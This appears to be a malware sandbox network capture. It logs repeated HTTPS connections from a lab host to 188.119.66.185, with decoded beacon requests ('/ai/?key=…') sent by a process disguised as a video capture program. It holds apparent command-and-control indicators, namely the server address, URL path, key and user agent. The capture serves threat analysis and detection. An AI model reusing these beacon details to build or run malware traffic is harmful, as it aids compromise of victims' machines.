                                                                                        Dec 18, 2024 14:01:22.776201010 CET44349878188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:24.227907896 CET44349878188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:24.227981091 CET49878443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:24.234795094 CET49878443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:24.234803915 CET44349878188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:24.234983921 CET49878443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:24.234988928 CET44349878188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:24.910180092 CET44349878188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:24.910254955 CET49878443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:24.910270929 CET44349878188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:24.910298109 CET44349878188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:24.910311937 CET49878443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:24.910337925 CET49878443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:24.910541058 CET49878443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:24.910557985 CET44349878188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:25.025832891 CET49884443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:25.025877953 CET44349884188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:25.025943041 CET49884443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:25.026319981 CET49884443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:25.026329994 CET44349884188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:26.602935076 CET44349884188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:26.603077888 CET49884443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:26.648305893 CET49884443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:26.648319006 CET44349884188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:26.652095079 CET49884443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:26.652110100 CET44349884188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:27.416668892 CET44349884188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:27.416738033 CET44349884188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:27.416781902 CET49884443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:27.416804075 CET49884443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:27.417083979 CET49884443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:27.417098999 CET44349884188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:27.525626898 CET49892443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:27.525664091 CET44349892188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:27.525747061 CET49892443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:27.525949955 CET49892443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:27.525959015 CET44349892188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:29.036855936 CET44349892188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:29.036931038 CET49892443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:29.037453890 CET49892443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:29.037461996 CET44349892188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:29.037710905 CET49892443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:29.037715912 CET44349892188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:29.718976021 CET44349892188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:29.719042063 CET49892443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:29.719048023 CET44349892188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:29.719093084 CET49892443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:29.719310045 CET49892443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:29.719336033 CET44349892188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:29.838293076 CET49897443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:29.838340044 CET44349897188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:29.838479042 CET49897443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:29.838810921 CET49897443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:29.838826895 CET44349897188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:31.729769945 CET44349897188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:31.729876995 CET49897443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:31.730269909 CET49897443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:31.730277061 CET44349897188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:31.730468035 CET49897443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:31.730473995 CET44349897188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:32.650315046 CET44349897188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:32.650407076 CET44349897188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:32.650451899 CET49897443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:32.650471926 CET49897443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:32.650927067 CET49897443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:32.650940895 CET44349897188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:32.760066032 CET49904443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:32.760113001 CET44349904188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:32.760200977 CET49904443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:32.760674953 CET49904443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:32.760685921 CET44349904188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:34.643717051 CET44349904188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:34.643841982 CET49904443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:34.644278049 CET49904443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:34.644284010 CET44349904188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:34.646172047 CET49904443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:34.646176100 CET44349904188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:35.604882002 CET44349904188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:35.604957104 CET49904443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:35.604968071 CET44349904188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:35.605009079 CET49904443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:35.662062883 CET49904443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:35.662097931 CET44349904188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:35.875080109 CET49910443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:35.875104904 CET44349910188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:35.875161886 CET49910443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:35.875865936 CET49910443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:35.875875950 CET44349910188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:37.498023987 CET44349910188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:37.498100042 CET49910443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:37.498869896 CET49910443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:37.498878002 CET44349910188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:37.499058008 CET49910443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:37.499063015 CET44349910188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:38.337043047 CET44349910188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:38.337121010 CET44349910188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:38.337296009 CET49910443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:38.337296009 CET49910443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:38.395755053 CET49910443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:38.395781994 CET44349910188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:38.525660038 CET49920443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:38.525707006 CET44349920188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:38.525929928 CET49920443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:38.526202917 CET49920443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:38.526217937 CET44349920188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:40.433998108 CET44349920188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:40.434887886 CET49920443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:40.435350895 CET49920443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:40.435358047 CET44349920188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:40.435662985 CET49920443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:40.435667992 CET44349920188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:41.389595032 CET44349920188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:41.389673948 CET49920443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:41.389688015 CET44349920188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:41.389728069 CET49920443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:41.389770031 CET44349920188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:41.389821053 CET49920443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:41.389846087 CET49920443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:41.389858961 CET44349920188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:41.529618979 CET49927443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:41.529665947 CET44349927188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:41.529769897 CET49927443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:41.533765078 CET49927443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:41.533781052 CET44349927188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:43.462383986 CET44349927188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:43.464903116 CET49927443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:43.465318918 CET49927443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:43.465327978 CET44349927188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:43.465498924 CET49927443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:43.465504885 CET44349927188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:44.493665934 CET44349927188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:44.493740082 CET44349927188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:44.493741989 CET49927443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:44.493784904 CET49927443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:44.565570116 CET49927443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:44.565602064 CET44349927188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:44.876434088 CET49933443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:44.876461029 CET44349933188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:44.876523018 CET49933443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:44.886977911 CET49933443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:44.886993885 CET44349933188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:46.617706060 CET44349933188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:46.617851019 CET49933443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:46.618360996 CET49933443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:46.618376017 CET44349933188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:46.618578911 CET49933443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:46.618590117 CET44349933188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:47.305288076 CET44349933188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:47.305362940 CET44349933188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:47.305396080 CET49933443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:47.305414915 CET49933443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:47.305679083 CET49933443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:47.305696011 CET44349933188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:47.416419983 CET49941443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:47.416462898 CET44349941188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:47.416543007 CET49941443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:47.417148113 CET49941443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:47.417160988 CET44349941188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:48.912275076 CET44349941188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:48.912405968 CET49941443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:48.912798882 CET49941443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:48.912805080 CET44349941188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:48.912983894 CET49941443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:48.912990093 CET44349941188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:49.591999054 CET44349941188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:49.592076063 CET44349941188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:49.592129946 CET49941443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:49.592330933 CET49941443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:49.592330933 CET49941443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:49.713275909 CET49947443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:49.713324070 CET44349947188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:49.713671923 CET49947443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:49.713850975 CET49947443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:49.713865042 CET44349947188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:49.898672104 CET49941443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:49.898693085 CET44349941188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:51.739823103 CET44349947188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:51.739942074 CET49947443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:51.740375996 CET49947443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:51.740381956 CET44349947188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:51.740577936 CET49947443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:51.740582943 CET44349947188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:52.824975967 CET44349947188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:52.825058937 CET49947443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:52.825073004 CET44349947188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:52.825122118 CET49947443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:52.826164961 CET49947443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:52.826179028 CET44349947188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:52.932149887 CET49956443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:52.932193995 CET44349956188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:52.932337046 CET49956443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:52.932570934 CET49956443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:52.932595015 CET44349956188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:54.627104998 CET44349956188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:54.627154112 CET49956443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:54.627536058 CET49956443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:54.627547026 CET44349956188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:54.627727032 CET49956443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:54.627733946 CET44349956188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:55.349936008 CET44349956188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:55.350023985 CET44349956188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:55.350054979 CET49956443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:55.350075006 CET49956443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:55.350333929 CET49956443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:55.350348949 CET44349956188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:55.463360071 CET49962443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:55.463418961 CET44349962188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:55.463501930 CET49962443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:55.463756084 CET49962443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:55.463772058 CET44349962188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:57.172754049 CET44349962188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:57.172873020 CET49962443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:57.173310995 CET49962443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:57.173321962 CET44349962188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:57.175040007 CET49962443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:57.175048113 CET44349962188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:58.061933041 CET44349962188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:58.062000036 CET49962443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:58.062026024 CET44349962188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:58.062078953 CET49962443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:58.062243938 CET49962443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:58.062268019 CET44349962188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:58.217565060 CET49969443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:58.217633963 CET44349969188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:58.217695951 CET49969443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:58.217894077 CET49969443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:58.217911959 CET44349969188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:00.041312933 CET44349969188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:00.041445971 CET49969443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:00.041879892 CET49969443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:00.041887999 CET44349969188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:00.044955015 CET49969443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:00.044960022 CET44349969188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:01.055486917 CET44349969188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:01.055558920 CET44349969188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:01.055579901 CET49969443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:01.055651903 CET49969443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:01.055757999 CET49969443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:01.055795908 CET44349969188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:01.168386936 CET49978443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:01.168428898 CET44349978188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:01.168886900 CET49978443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:01.168886900 CET49978443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:01.168915987 CET44349978188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:03.127569914 CET44349978188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:03.127661943 CET49978443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:03.128108025 CET49978443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:03.128118038 CET44349978188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:03.129978895 CET49978443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:03.129987955 CET44349978188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:04.061278105 CET44349978188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:04.061378002 CET44349978188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:04.061378956 CET49978443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:04.061532974 CET49978443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:04.061532974 CET49978443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:04.184988022 CET49985443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:04.185045958 CET44349985188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:04.189099073 CET49985443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:04.192966938 CET49985443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:04.192990065 CET44349985188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:04.398686886 CET49978443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:02:04.398710966 CET44349978188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:05.661940098 CET44349985188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:02:05.662658930 CET49985443192.168.2.5188.119.66.185
                                                                                        • 188.119.66.185
                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        0192.168.2.549802188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:00:54 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:00:55 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:00:55 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:00:55 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        1192.168.2.549809188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:00:57 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:00:58 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:00:57 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:00:58 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        2192.168.2.549815188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:00:59 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:00 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:00 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:00 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        3192.168.2.549821188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:02 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:03 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:02 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:03 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        4192.168.2.549831188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
